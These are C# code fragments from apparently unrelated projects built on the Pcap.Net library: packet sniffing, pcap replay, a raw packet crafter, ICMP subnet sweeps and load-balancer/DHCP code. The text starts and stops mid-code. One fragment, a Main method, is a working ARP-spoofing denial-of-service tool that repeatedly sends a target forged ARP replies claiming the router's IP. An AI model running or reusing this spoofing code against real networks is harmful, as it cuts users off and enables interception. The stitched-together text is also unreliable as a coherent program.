on Ethernet networks."); return; } // Compile the filter using (BerkeleyPacketFilter filter = communicator.CreateFilter("ip and udp")) { // Set the filter communicator.SetFilter(filter); } Console.WriteLine("Listening on " + selectedDevice.Description + "..."); // start the capture communicator.ReceivePackets(0, PacketHandler); } }
/// <summary> /// Start an off-line capture /// </summary> /// <param name="file">The dump file name to capture</param> /// <param name="callback">Callback to handle packets</param> /// <param name="IsBadDumpFile">Flag indicates whether the dump file is invalid</param> public static void StartOfflineCapture(string file, HandlePacket callback, ref bool IsBadDumpFile) { PacketCommunicator pc = communicator; try { // Create the off-line device OfflinePacketDevice selectedDevice = new OfflinePacketDevice(file); communicator = selectedDevice.Open(65536, // portion of the packet to capture // 65536 guarantees that the whole packet will be captured on all the link layers PacketDeviceOpenAttributes.Promiscuous, // promiscuous mode 1000); // read timeout // Compile the filter using (BerkeleyPacketFilter filter = communicator.CreateFilter(SnifferConfig.Filter.FilterString)) { communicator.SetFilter(filter); } // Read and dispatch packets until EOF is reached communicator.ReceivePackets(0, callback); } catch (Exception) { IsBadDumpFile = true; } finally { if (pc != null) communicator = pc; } }
static void Main(string[] args) { //Need to perform this because ARP table in Windows 10 gets updated with the falsified infos //This means if the program is ran, the host won't be able to browse the internet //netsh -c interface ipv4 add neighbors "Wi-Fi" "IP" "MAC" //netsh -c interface ipv4 delete neighbors "Wi-Fi" "IP" Console.CancelKeyPress += Console_CancelKeyPress; PhysicalAddress attackerMAC = null; IPAddress attackerIP = null; PhysicalAddress routerMAC = null; IPAddress routerGateway = null; IPAddress networkSubnetMask = null; string interfaceName = null; var networkInterface = NetworkInterfaceType.Wireless80211; foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces()) { if (nic.NetworkInterfaceType == networkInterface && nic.GetIPProperties().GatewayAddresses.Count > 0) { Console.WriteLine("Interface selected: " + nic.Name); interfaceName = nic.Name; attackerMAC = nic.GetPhysicalAddress(); routerGateway = nic.GetIPProperties().GatewayAddresses[0].Address; foreach (GatewayIPAddressInformation gateway in nic.GetIPProperties().GatewayAddresses) { if (gateway.Address.ToString().Split('.').Length == 4) { routerGateway = gateway.Address; } } foreach (UnicastIPAddressInformation UnicatIPInfo in nic.GetIPProperties().UnicastAddresses) { if (UnicatIPInfo.IPv4Mask.ToString() != "0.0.0.0") { attackerIP = UnicatIPInfo.Address; networkSubnetMask = UnicatIPInfo.IPv4Mask; break; } } } } Console.WriteLine(); Console.WriteLine("Attacker's MAC Address: " + FormatMACAddress(attackerMAC, ":")); Console.WriteLine("Attacker's LAN IP Address: " + attackerIP.ToString()); Console.WriteLine(); Console.WriteLine("Router's Gateway Address: " + routerGateway.ToString()); Console.WriteLine("LAN Subnet Mask: " + networkSubnetMask.ToString()); if (attackerMAC == null || attackerIP == null || networkSubnetMask == null || routerGateway == null) { Console.WriteLine("One or more details can't be retrieved! Program needs to exit!"); } else { byte[] rMAC = new byte[6]; int rlength = rMAC.Length; int result = SendARP(BitConverter.ToUInt32(routerGateway.GetAddressBytes(), 0), 0, rMAC, ref rlength); if (result == 0) { routerMAC = new PhysicalAddress(rMAC); Console.WriteLine("Router's MAC Address: " + FormatMACAddress(routerMAC, ":")); Console.WriteLine(); RunProgram("netsh", "interface ipv4 add neighbors \"" + interfaceName + "\" \"" + routerGateway.ToString() + "\" \"" + FormatMACAddress(routerMAC, "-") + "\""); Console.Write("Enter the target IP to deny from the service: "); IPAddress parsedInput = null; if (IPAddress.TryParse(Console.ReadLine(), out parsedInput)) { Console.WriteLine("Sending spoofed ARP packets to " + parsedInput.ToString()); Console.WriteLine("Press CTRL+C to exit gracefully"); byte[] bTargetMAC = new byte[6]; int tLength = bTargetMAC.Length; result = SendARP(BitConverter.ToUInt32(parsedInput.GetAddressBytes(), 0), 0, bTargetMAC, ref tLength); var targetMAC = new PhysicalAddress(bTargetMAC); EthernetLayer eLayer = new EthernetLayer(); eLayer.Source = new MacAddress(FormatMACAddress(attackerMAC, ":")); eLayer.Destination = new MacAddress(FormatMACAddress(targetMAC, ":")); eLayer.EtherType = EthernetType.Arp; ArpLayer aLayer = new ArpLayer(); aLayer.ProtocolType = EthernetType.IpV4; aLayer.Operation = ArpOperation.Reply; aLayer.SenderHardwareAddress = new ReadOnlyCollection <byte>(attackerMAC.GetAddressBytes()); aLayer.SenderProtocolAddress = new ReadOnlyCollection <byte>(routerGateway.GetAddressBytes()); aLayer.TargetHardwareAddress = new ReadOnlyCollection <byte>(targetMAC.GetAddressBytes()); aLayer.TargetProtocolAddress = new ReadOnlyCollection <byte>(parsedInput.GetAddressBytes()); Packet spoofedPacket = new PacketBuilder(eLayer, aLayer).Build(DateTime.Now); var lpDevices = LivePacketDevice.AllLocalMachine; foreach (var dev in lpDevices) { if (dev.Addresses[1].ToString().Contains(attackerIP.ToString())) { PacketCommunicator communicator = dev.Open(65536, PacketDeviceOpenAttributes.DataTransferUdpRemote, 1000); while (keepRunning) { communicator.SendPacket(spoofedPacket); Thread.Sleep(1000); } RunProgram("netsh", "interface ipv4 delete neighbors \"" + interfaceName + "\" \"" + routerGateway.ToString() + "\""); break; } } } else { Console.WriteLine("Input cannot be parsed correctly!"); } } else { Console.WriteLine("Could not retrieve router's MAC address!"); } } Console.WriteLine("Press any key to exit the program..."); Console.ReadLine(); }
void tsbStart_Click(object sender, EventArgs e) { stop = false; tsbStart.Enabled = tscbNet.Enabled = false; tsbPause.Enabled = tsbStop.Enabled = true; this.Text = "Ostara - Logging"; if (paused) { paused = false; return; } if (Settings.I.ClearOnStart) flvPackets.ClearObjects(); packets = new Queue<PacketClass>(); clientCrypt = new Dictionary<ushort, Cryption.Client>(); serverCrypt = new Dictionary<ushort, Cryption.Server>(); int ni = tscbNet.SelectedIndex; device = LivePacketDevice.AllLocalMachine[ni]; comm = device.Open(65536, PacketDeviceOpenAttributes.None, 500); comm.SetFilter(Ports.I.Filter); foreach (var a in device.Addresses) { if (a.Address.Family == SocketAddressFamily.Internet) { address = ((IpV4SocketAddress)a.Address).Address.ToValue(); break; } } Task.Run(() => { GetPackets(); }); }
private static void DiscoverNetworkBroadcast(PacketCommunicator communicator, MyDevice device) { // Supposing to be on ethernet, set mac source MacAddress source = new MacAddress(device.MacAddressWithDots()); // set mac destination to broadcast MacAddress destination = new MacAddress("FF:FF:FF:FF:FF:FF"); // Create the packets layers // Ethernet Layer EthernetLayer ethernetLayer = new EthernetLayer { Source = source, Destination = destination }; // IPv4 Layer IpV4Layer ipV4Layer = new IpV4Layer { Source = new IpV4Address(device.IPAddress), Ttl = 128, // The rest of the important parameters will be set for each packet }; // ICMP Layer IcmpEchoLayer icmpLayer = new IcmpEchoLayer(); // Create the builder that will build our packets PacketBuilder builder = new PacketBuilder(ethernetLayer, ipV4Layer, icmpLayer); string ipBeg = device.IpWithoutEnd(); //Send 100 Pings to different destination with different parameters for (int i = 0; i < 256; i++) { // Set IPv4 parameters ipV4Layer.CurrentDestination = new IpV4Address(ipBeg + i); ipV4Layer.Identification = (ushort)i; // Set ICMP parameters icmpLayer.SequenceNumber = (ushort)i; icmpLayer.Identifier = (ushort)i; // Build the packet Packet packet = builder.Build(DateTime.Now); // Send down the packet communicator.SendPacket(packet); //Console.WriteLine("172.16.1." + i); } }
private static void preparePcap() { var source = new MacAddress(getClientMAC()); var dest = new MacAddress(getRouterMAC()); device = LivePacketDevice.AllLocalMachine[0]; communicator = device.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000); EthernetLayer ethLayer = new EthernetLayer { Source = source, Destination = dest }; ipLayer = new IpV4Layer { Source = new IpV4Address(LocalIPAddress()), Ttl = 128 }; icmpLayer = new IcmpEchoLayer(); icmpBuilder = new PacketBuilder(ethLayer, ipLayer, icmpLayer); TCPLayer = new TcpLayer(); TCPBuilder = new PacketBuilder(ethLayer, ipLayer, TCPLayer); if (!TCPMode) { communicator.SetFilter("icmp[0] = 0"); } else { //tcp[13] = 18 communicator.SetFilter("tcp[13] = 18 and port " + TCPPort); } }
public arp() { IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; if ( allDevices.Count == 0 ) { Console.WriteLine( "No interfaces found! Make sure WinPcap is installed." ); return; } selectedDevice = allDevices[0]; getLocalMacAndIP( out ip, out mac ); ethernetLayer = new EthernetLayer { Source = new MacAddress( ToMac( mac.ToString() ) ), Destination = new MacAddress( "FF:FF:FF:FF:FF:FF" ), EtherType = EthernetType.None, // Will be filled automatically. }; arpLayer = new ArpLayer { ProtocolType = EthernetType.IpV4, Operation = ArpOperation.Request, SenderHardwareAddress = Array.AsReadOnly( mac.GetAddressBytes().ToArray() ), // 03:03:03:03:03:03. SenderProtocolAddress = Array.AsReadOnly( ip ), // 1.2.3.4. TargetHardwareAddress = Array.AsReadOnly( new byte[] { 0, 0, 0, 0, 0, 0 } ), // 00:00:00:00:00:00. }; outputCommunicator = selectedDevice.Open( 100, PacketDeviceOpenAttributes.Promiscuous, 1000 ); }
public PacketHandler(Packet expectedPacket, double expectedSecondsBefore, double expectedSecondsAfter, PacketCommunicator communicator, int numPacketsToBreakLoop) : this(expectedPacket, expectedPacket.Timestamp.AddSeconds(-expectedSecondsBefore), expectedPacket.Timestamp.AddSeconds(expectedSecondsAfter), communicator, numPacketsToBreakLoop) { }
private void BackgroundWorker1_DoWork_1(object sender, DoWorkEventArgs e) { if (string.IsNullOrEmpty(Properties.Settings.Default.networkDevice)) { BackgroundWorker1.Dispose(); pbarProgressBar1.Value = 0; this.Invoke(new MethodInvoker(() => txtOutput.Text = txtOutput.Text.Replace(waitMessage, ""))); frmSetup setup = new frmSetup(); setup.ShowDialog(); } try { int deviceNumberToUse = 0; IList <LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; int i = 0; while (i != allDevices.Count) { LivePacketDevice device = allDevices[i]; if (Properties.Settings.Default.networkDevice.IndexOf(device.Name.ToString(), StringComparison.OrdinalIgnoreCase) == 0) { deviceNumberToUse = i; } i += 1; } PacketDevice selectedDevice = allDevices[deviceNumberToUse]; try { // Open the device // portion of the packet to capture // 65536 guarantees that the whole packet will be captured on all the link layers // promiscuous mode using (communicator = selectedDevice.Open(65536, PacketDeviceOpenAttributes.NoCaptureLocal, 1000)) //using (PacketCommunicator communicator = selectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000)) { // start the capture communicator.ReceivePackets(0, PacketHandler); } } catch (Exception ex) { this.Invoke(new MethodInvoker(() => txtOutput.Text = DateTime.Now + "\t" + "ERROR: " + ex.Message + System.Environment.NewLine + txtOutput.Text)); } } catch (System.InvalidOperationException ex) { if (ex.Message.IndexOf("pcap") == 0) { MessageBox.Show("ERROR: " + ex.Message + System.Environment.NewLine + System.Environment.NewLine + "Please go to http://www.winpcap.org , download WinPcap, and install it."); } else { MessageBox.Show("ERROR: " + ex.Message); } Close(); } catch (Exception ex) { MessageBox.Show("ERROR: " + ex.Message); Close(); } }
public void RunFileWithSpeed(RunSpeeds run_speed) { if (string.IsNullOrEmpty(FileName)) { return; } if (run_speed == RunSpeeds.Original) { return; } if (PacketCount == 0 || SelectedNetworkAdapter == null) { return; } // Retrieve the length of the capture file long capLength = new FileInfo(FileName).Length; int time_interval = 100; switch (run_speed) { case RunSpeeds.Original: case RunSpeeds.s100: time_interval = 100; break; case RunSpeeds.Zero: time_interval = 1; break; case RunSpeeds.s250: time_interval = 250; break; case RunSpeeds.s500: time_interval = 500; break; case RunSpeeds.s1000: time_interval = 1000; break; default: time_interval = 100; break; } DateTime time_stamp = DateTime.Now; // Open the capture file OfflinePacketDevice selectedInputDevice = new OfflinePacketDevice(FileName); using (PacketCommunicator inputCommunicator = selectedInputDevice.Open(65536, // portion of the packet to capture // 65536 guarantees that the whole packet will be captured on all the link layers PacketDeviceOpenAttributes.Promiscuous, // promiscuous mode 1000)) // read timeout { // Open the output device using (PacketCommunicator outputCommunicator = SelectedNetworkAdapter.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000)) { // Fill the buffer with the packets from the file AlteredPackets = new List <Packet>(); Packet packet; int packet_count = 0; while (inputCommunicator.ReceivePacket(out packet) == PacketCommunicatorReceiveResult.Ok) { // Create the builder that will build our packets EthernetLayer ethernet_layer = packet.Ethernet == null ? null : (EthernetLayer)packet.Ethernet.ExtractLayer(); IpV4Layer ipv4_layer = packet.Ethernet.IpV4 == null ? null : (IpV4Layer)packet.Ethernet.IpV4.ExtractLayer(); IcmpLayer icmp_layer = packet.Ethernet.IpV4.Icmp == null ? null : (IcmpLayer)packet.Ethernet.IpV4.Icmp.ExtractLayer(); TransportLayer transport_layer = packet.Ethernet.IpV4.Transport == null ? null : (TransportLayer)packet.Ethernet.IpV4.Transport.ExtractLayer(); PayloadLayer datagram_layer = packet.Ethernet.IpV4.Payload == null ? null : (PayloadLayer)packet.Ethernet.IpV4.Payload.ExtractLayer(); try { if (ipv4_layer.Length < 1) // Catch null Length { // Do Nothing } } catch { ipv4_layer = null; } List <ILayer> layers = new List <ILayer>(); if (IsRTP(packet)) { if (ethernet_layer != null) { layers.Add(ethernet_layer); } if (ipv4_layer != null) { layers.Add(ipv4_layer); } if (datagram_layer != null) { layers.Add(datagram_layer); } } else { if (ethernet_layer != null) { layers.Add(ethernet_layer); } if (ipv4_layer != null) { layers.Add(ipv4_layer); } if (icmp_layer != null) { layers.Add(icmp_layer); } if (transport_layer != null) { layers.Add(transport_layer); } if (datagram_layer != null && IsRTP(packet)) { layers.Add(datagram_layer); } } PacketBuilder builder = new PacketBuilder(layers); Packet altered_packet = builder.Build(time_stamp.AddMilliseconds((packet_count * time_interval) / 1000)); ProcessAlteredPacket(altered_packet); packet_count++; } // Allocate a send buffer using (PacketSendBuffer sendBuffer = new PacketSendBuffer(4294967295)) { foreach (Packet p in AlteredPackets) { sendBuffer.Enqueue(p); } // Transmit the queue Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); long startTimeMs = stopwatch.ElapsedMilliseconds; Common.ConsoleWriteLine(ConsoleText); Common.ConsoleWriteLine(ConsoleText, "File:\n " + FileName.Substring(FileName.LastIndexOf("\\") + 1)); Common.ConsoleWriteLine(ConsoleText, " Start Time: " + startTimeMs); outputCommunicator.Transmit(sendBuffer, true); long endTimeMs = stopwatch.ElapsedMilliseconds; Common.ConsoleWriteLine(ConsoleText, " End Time: " + endTimeMs); long elapsedTimeMs = endTimeMs - startTimeMs; Common.ConsoleWriteLine(ConsoleText, " Elapsed Time: " + elapsedTimeMs); double averagePacketsPerSecond = elapsedTimeMs == 0 ? double.MaxValue : (double)AlteredPackets.Count / elapsedTimeMs * 1000; Common.ConsoleWriteLine(ConsoleText, " Elapsed time: " + elapsedTimeMs + " ms"); Common.ConsoleWriteLine(ConsoleText, " Total packets generated = " + AlteredPackets.Count); Common.ConsoleWriteLine(ConsoleText, " Average packets per second = " + averagePacketsPerSecond); Common.ConsoleWriteLine(ConsoleText, ""); } } } }
//Send button is pressed private void btnSendPacket_Click(object sender, RoutedEventArgs e) { //Loop that defines how many times the packet should be resent for (int i = 1; i <= Convert.ToInt16(xTimes.Text.ToString()); i++) { // Open the output device using (pCommunicator = pSelectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000)) { //Get the protocoltype and go through the switchcase in order to build the right packet int stringProtocol = ProtType.SelectedIndex; switch (stringProtocol) { //If its an ICMP packet do this case 1: if (MACsrc.Text != "" && MACdst.Text != "" && IPsrc.Text != "" && IPdst.Text != "" && IpId.Text != "" && TTL.Text != "" && Identifier.Text != "" && SQN.Text != "") { pBuildIcmpPacket = new ICMPSendPacket(MACsrc.Text, MACdst.Text, IPsrc.Text, IPdst.Text, IpId.Text, TTL.Text, Identifier.Text, SQN.Text); pCommunicator.SendPacket(pBuildIcmpPacket.GetBuilder()); } else { MessageBox.Show("Please fill in all required (open) fields"); } break; //If its a UDP packet do this case 2: if (MACsrc.Text != "" && MACdst.Text != "" && IPsrc.Text != "" && IPdst.Text != "" && IpId.Text != "" && TTL.Text != "" && PORTsrc.Text != "" && Data.Text != "") { pBuildUdpPacket = new UDPSendPacket(MACsrc.Text, MACdst.Text, IPsrc.Text, IPdst.Text, IpId.Text, TTL.Text, PORTsrc.Text, Data.Text); pCommunicator.SendPacket(pBuildUdpPacket.GetBuilder()); } else { MessageBox.Show("Please fill in all required (open) fields"); } break; //If its a TCP packet do this case 3: if (MACsrc.Text != "" && MACdst.Text != "" && IPsrc.Text != "" && IPdst.Text != "" && IpId.Text != "" && TTL.Text != "" && PORTsrc.Text != "" && SQN.Text != "" && ACK.Text != "" && WIN.Text != "" && Data.Text != "") { pBuildTcpPacket = new TCPSendPacket(MACsrc.Text, MACdst.Text, IPsrc.Text, IPdst.Text, IpId.Text, TTL.Text, PORTsrc.Text, SQN.Text, ACK.Text, WIN.Text, Data.Text); pCommunicator.SendPacket(pBuildTcpPacket.GetBuilder()); } else { MessageBox.Show("Please fill in all required (open) fields"); } break; //If its a DNS packet do this case 4: if (MACsrc.Text != "" && MACdst.Text != "" && IPsrc.Text != "" && IPdst.Text != "" && IpId.Text != "" && TTL.Text != "" && PORTsrc.Text != "" && Identifier.Text != "" && Domain.Text != "") { pBuildDnsPacket = new DNSSendPacket(MACsrc.Text, MACdst.Text, IPsrc.Text, IPdst.Text, IpId.Text, TTL.Text, PORTsrc.Text, Identifier.Text, Domain.Text); pCommunicator.SendPacket(pBuildDnsPacket.GetBuilder()); } else { MessageBox.Show("Please fill in all required (open) fields"); } break; //If its an HTTP packet do this case 5: if (MACsrc.Text != "" && MACdst.Text != "" && IPsrc.Text != "" && IPdst.Text != "" && IpId.Text != "" && TTL.Text != "" && PORTsrc.Text != "" && SQN.Text != "" && ACK.Text != "" && WIN.Text != "" && Data.Text != "" && Domain.Text != "") { pBuildHttpPacket = new HTTPSendPacket(MACsrc.Text, MACdst.Text, IPsrc.Text, IPdst.Text, IpId.Text, TTL.Text, PORTsrc.Text, SQN.Text, ACK.Text, WIN.Text, Data.Text, Domain.Text); pCommunicator.SendPacket(pBuildHttpPacket.GetBuilder()); } else { MessageBox.Show("Please fill in all required (open) fields"); } break; //If no protocol was selected, let the user know default: MessageBox.Show("Select a protocol"); break; } } } }
public void RunFile() { if (string.IsNullOrEmpty(FileName)) { return; } if (PacketCount == 0 || SelectedNetworkAdapter == null) { return; } // Retrieve the length of the capture file long capLength = new FileInfo(FileName).Length; // Open the capture file OfflinePacketDevice selectedInputDevice = new OfflinePacketDevice(FileName); using (PacketCommunicator inputCommunicator = selectedInputDevice.Open(65536, // portion of the packet to capture // 65536 guarantees that the whole packet will be captured on all the link layers PacketDeviceOpenAttributes.Promiscuous, // promiscuous mode 1000)) // read timeout { using (PacketCommunicator outputCommunicator = SelectedNetworkAdapter.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000)) { // Check the MAC type if (inputCommunicator.DataLink != outputCommunicator.DataLink) { Console.WriteLine( "Warning: the datalink of the capture differs from the one of the selected interface."); Console.WriteLine("Press a key to continue, or CTRL+C to stop."); //Console.ReadKey(); } // Allocate a send buffer using (PacketSendBuffer sendBuffer = new PacketSendBuffer((uint)capLength)) { // Fill the buffer with the packets from the file int numPackets = 0; Packet packet; while (inputCommunicator.ReceivePacket(out packet) == PacketCommunicatorReceiveResult.Ok) { sendBuffer.Enqueue(packet); ++numPackets; } // Transmit the queue Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); long startTimeMs = stopwatch.ElapsedMilliseconds; Common.ConsoleWriteLine(ConsoleText); Common.ConsoleWriteLine(ConsoleText, "File:\n " + FileName.Substring(FileName.LastIndexOf("\\") + 1)); Common.ConsoleWriteLine(ConsoleText, " Start Time: " + startTimeMs); outputCommunicator.Transmit(sendBuffer, true); long endTimeMs = stopwatch.ElapsedMilliseconds; Common.ConsoleWriteLine(ConsoleText, " End Time: " + endTimeMs); long elapsedTimeMs = endTimeMs - startTimeMs; Common.ConsoleWriteLine(ConsoleText, " Elapsed Time: " + elapsedTimeMs); double averagePacketsPerSecond = elapsedTimeMs == 0 ? double.MaxValue : (double)numPackets / elapsedTimeMs * 1000; Common.ConsoleWriteLine(ConsoleText, " Elapsed time: " + elapsedTimeMs + " ms"); Common.ConsoleWriteLine(ConsoleText, " Total packets generated = " + numPackets); Common.ConsoleWriteLine(ConsoleText, " Average packets per second = " + averagePacketsPerSecond); Common.ConsoleWriteLine(ConsoleText, ""); } } } }
//public Packet CreateDhcpPacket(int optionsSize, byte[] options, bool firstPacket, byte[] clientIp = null) //{ // EthernetLayer ethernetLayer = new EthernetLayer // { // Source = ifHardwareAddress, // Destination = new MacAddress("FF:FF:FF:FF:FF:FF"), // EtherType = EthernetType.None, // }; // IpV4Layer ipV4Layer = new IpV4Layer // { // Source = new IpV4Address("0.0.0.0"), // CurrentDestination = new IpV4Address("255.255.255.255"), // Fragmentation = IpV4Fragmentation.None, // HeaderChecksum = null, // Will be filled automatically. // Identification = ipID, // Options = IpV4Options.None, // Protocol = null, // Ttl = 128, // TypeOfService = 0, // }; // UdpLayer udpLayer = new UdpLayer // { // SourcePort = 68, // DestinationPort = 67, // Checksum = null, // Will be filled automatically. // CalculateChecksumValue = true, // }; // Dhcp dhcpLayer = new Dhcp(optionsSize); // if (firstPacket) // dhcpId = dhcpLayer.Id; // else // dhcpLayer.Id = dhcpId; // if (clientIp != null) // dhcpLayer.ClientIp = clientIp; // dhcpLayer.ClientHardwareAddress = ifHardwareAddressByte; // dhcpLayer.Options = options; // PayloadLayer payloadLayer = new PayloadLayer // { // Data = new Datagram(dhcpLayer.toByteArray()), // }; // PacketBuilder builder = new PacketBuilder(ethernetLayer, ipV4Layer, udpLayer, payloadLayer); // return builder.Build(DateTime.Now); //} //public void SendArp() //{ // EthernetLayer ethernetLayer = new EthernetLayer // { // Source = ifHardwareAddress, // Destination = new MacAddress("FF:FF:FF:FF:FF:FF"), // EtherType = EthernetType.None, // }; // ArpLayer arpLayer = new ArpLayer // { // ProtocolType = EthernetType.IpV4, // Operation = ArpOperation.Request, // SenderHardwareAddress = ifHardwareAddressByte.AsReadOnly(), // SenderProtocolAddress = ownProtocolAddressByte.AsReadOnly(), // TargetHardwareAddress = new byte[] { 0, 0, 0, 0, 0, 0 }.AsReadOnly(), // TargetProtocolAddress = gatewayProtocolAddressByte.AsReadOnly(), // }; // PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer); // SendPacket(builder.Build(DateTime.Now)); //} //public void ReceiveIpAddress() //{ // int retries = 0; // int timewait = 0; // dhcpState = 0; // arpState = 0; // byte[] options; // while (true) // { // if (dhcpState == 1 && retries > 1 || // dhcpState == 3 && retries > 1) // { // dhcpState = 6; // offeredIp = BitConverter.GetBytes(ifProtocolAddress.ToValue() & ifProtocolMask.ToValue() + 1).Reverse().ToArray(); // } // if (dhcpState == 0 || dhcpState == 1 && timewait > 10) // { // options = new byte[] // { // 53, 1, 1, // 61, 7, 1, 0x0A, 0x03, 0x03, 0x03, 0x03, (byte)dhcpClientId, // 12, 4, 78, 77, 76, 66, // 60, 8, 0x4d, 0x53, 0x46, 0x54, 0x20, 0x35, 0x2e, 0x30, // 255, // 0, 0, 0, // }; // SendPacket(CreateDhcpPacket(32, options, true)); // if (dhcpState == 0) // retries = 0; // else // retries++; // timewait = 0; // dhcpState = 1; // } // else if (dhcpState == 2 || dhcpState == 3 && timewait > 10) // { // options = new byte[] // { // 53, 1, 3, // 61, 7, 1, 0x0A, 0x03, 0x03, 0x03, 0x03, (byte)dhcpClientId, // 12, 4, 78, 77, 76, 66, // 50, 4, offeredIp[0], offeredIp[1], offeredIp[2], offeredIp[3], // 54, 4, dhcpServer[0], dhcpServer[1], dhcpServer[2], dhcpServer[3], // 60, 8, 0x4d, 0x53, 0x46, 0x54, 0x20, 0x35, 0x2e, 0x30, // 255, // 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // }; // SendPacket(CreateDhcpPacket(60, options, false)); // if (dhcpState == 2) // retries = 0; // else // retries++; // timewait = 0; // dhcpState = 3; // } // else if (dhcpState == 4 && arpState == 1 && retries > 1) // { // if ((BitConverter.ToUInt32(offeredIp.Reverse().ToArray(), 0) + 1 & ifProtocolMask.ToValue()) != // (ifProtocolAddress.ToValue() & ifProtocolMask.ToValue())) // { // Global.WriteLog("DHCP: IP " + offeredIp.SequenceToString(".") + " is in a different network!"); // offeredIp = BitConverter.GetBytes(ifProtocolAddress.ToValue() & ifProtocolMask.ToValue() + 1).Reverse().ToArray(); // dhcpState = 6; // arpState = 0; // continue; // } // dhcpState = 5; // arpState = 0; // Global.WriteLog("DHCP: IP " + offeredIp.SequenceToString(".") + " OK!"); // dhcpClientId++; // ownProtocolAddressByte = offeredIp; // ownProtocolAddressString = ownProtocolAddressByte.SequenceToString("."); // ownProtocolAddress = new IpV4Address(ownProtocolAddressString); // SendArp(); // break; // } // else if (dhcpState == 4 && arpState == 0 || dhcpState == 4 && arpState == 1 && timewait > 10) // { // EthernetLayer ethernetLayer = new EthernetLayer // { // Source = ifHardwareAddress, // Destination = new MacAddress("FF:FF:FF:FF:FF:FF"), // EtherType = EthernetType.None, // }; // ArpLayer arpLayer = new ArpLayer // { // ProtocolType = EthernetType.IpV4, // Operation = ArpOperation.Request, // SenderHardwareAddress = ifHardwareAddressByte.AsReadOnly(), // SenderProtocolAddress = new byte[] { 0, 0, 0, 0 }.AsReadOnly(), // TargetHardwareAddress = new byte[] { 0, 0, 0, 0, 0, 0 }.AsReadOnly(), // TargetProtocolAddress = offeredIp.AsReadOnly(), // }; // PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer); // SendPacket(builder.Build(DateTime.Now)); // if (arpState == 0) // retries = 0; // else // retries++; // timewait = 0; // arpState = 1; // } // else if (dhcpState == 4 && arpState == 2) // { // Global.WriteLog("DHCP: IP " + offeredIp.SequenceToString(".") + " is already used!"); // options = new byte[] // { // 53, 1, 4, // 61, 7, 1, 0x0A, 0x03, 0x03, 0x03, 0x03, (byte)dhcpClientId, // 50, 4, offeredIp[0], offeredIp[1], offeredIp[2], offeredIp[3], // 54, 4, dhcpServer[0], dhcpServer[1], dhcpServer[2], dhcpServer[3], // 255, // //0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 // }; // SendPacket(CreateDhcpPacket(25, options, false, offeredIp)); // arpState = 0; // dhcpState = 0; // } // else if (dhcpState == 6 && arpState == 1 && retries > 1) // { // dhcpState = 5; // arpState = 0; // Global.WriteLog("IPAlloc: IP " + offeredIp.SequenceToString(".") + " OK!"); // dhcpClientId++; // ownProtocolAddressByte = offeredIp; // ownProtocolAddressString = ownProtocolAddressByte.SequenceToString("."); // ownProtocolAddress = new IpV4Address(ownProtocolAddressString); // SendArp(); // break; // } // else if (dhcpState == 6 && arpState == 0 || dhcpState == 6 && arpState == 1 && timewait > 10) // { // EthernetLayer ethernetLayer = new EthernetLayer // { // Source = ifHardwareAddress, // Destination = new MacAddress("FF:FF:FF:FF:FF:FF"), // EtherType = EthernetType.None, // }; // ArpLayer arpLayer = new ArpLayer // { // ProtocolType = EthernetType.IpV4, // Operation = ArpOperation.Request, // SenderHardwareAddress = ifHardwareAddressByte.AsReadOnly(), // SenderProtocolAddress = new byte[] { 0, 0, 0, 0 }.AsReadOnly(), // TargetHardwareAddress = new byte[] { 0, 0, 0, 0, 0, 0 }.AsReadOnly(), // TargetProtocolAddress = offeredIp.AsReadOnly(), // }; // PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer); // SendPacket(builder.Build(DateTime.Now)); // if (arpState == 0) // retries = 0; // else // retries++; // timewait = 0; // arpState = 1; // } // else if (dhcpState == 6 && arpState == 2) // { // if ((BitConverter.ToUInt32(offeredIp.Reverse().ToArray(), 0) + 1 & ifProtocolMask.ToValue()) != // (ifProtocolAddress.ToValue() & ifProtocolMask.ToValue())) // { // Global.WriteLog("IPAlloc: Couldn't allocate IP address!"); // break; // } // Global.WriteLog("IPAlloc: IP " + offeredIp.SequenceToString(".") + " is already used!"); // offeredIp = BitConverter.GetBytes((BitConverter.ToUInt32(offeredIp.Reverse().ToArray(), 0) + 1)).Reverse().ToArray(); // arpState = 0; // } // Thread.Sleep(100); // timewait++; // } //} public void ReceivePackets() { // Retrieve the device list from the local machine IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; // Find the NPF device of the interface PacketDevice selectedDevice = null; for (int i = 0; i != allDevices.Count; ++i) { LivePacketDevice device = allDevices[i]; if (device.Name.ToUpper().Contains(Guid.ToString().ToUpper())) { selectedDevice = device; break; } } if (selectedDevice == null) { Initialized.Set(); Global.ShowTrayTip("Load Balancer", "Interface " + Name + " not captured by WinPcap.", System.Windows.Forms.ToolTipIcon.Warning); Global.WriteLog("Load Balancer: Interface " + Name + " not captured by WinPcap."); return; } try { using (communicator = selectedDevice.Open(65536, PacketDeviceOpenAttributes.MaximumResponsiveness, 1000)) { Global.WriteLog("Load Balancer: Listening on " + Name + "..."); //communicator.SetFilter("(ether dst " + ifHardwareAddressString + " and (ip or arp)) or (ether dst FF:FF:FF:FF:FF:FF and arp)"); communicator.SetFilter("(ether dst " + ifHardwareAddressString + " and ip and (udp or icmp))"); Initialized.Set(); communicator.ReceivePackets(0, (packet) => { if (!ThreadActive.IsSet) { communicator.Break(); return; } //if (ownProtocolAddressString == null) //{ // if (packet.Ethernet.IpV4.Udp.SourcePort == 67 && packet.Ethernet.IpV4.Udp.DestinationPort == 68 && (PublicVars.dhcpState == 1 || PublicVars.dhcpState == 3)) // { // Dhcp dhcpReply = new Dhcp(packet.Ethernet.IpV4.Udp.Payload.ToArray()); // if (PublicVars.dhcpId == dhcpReply.Id && dhcpReply.MessageType == 2) // { // if 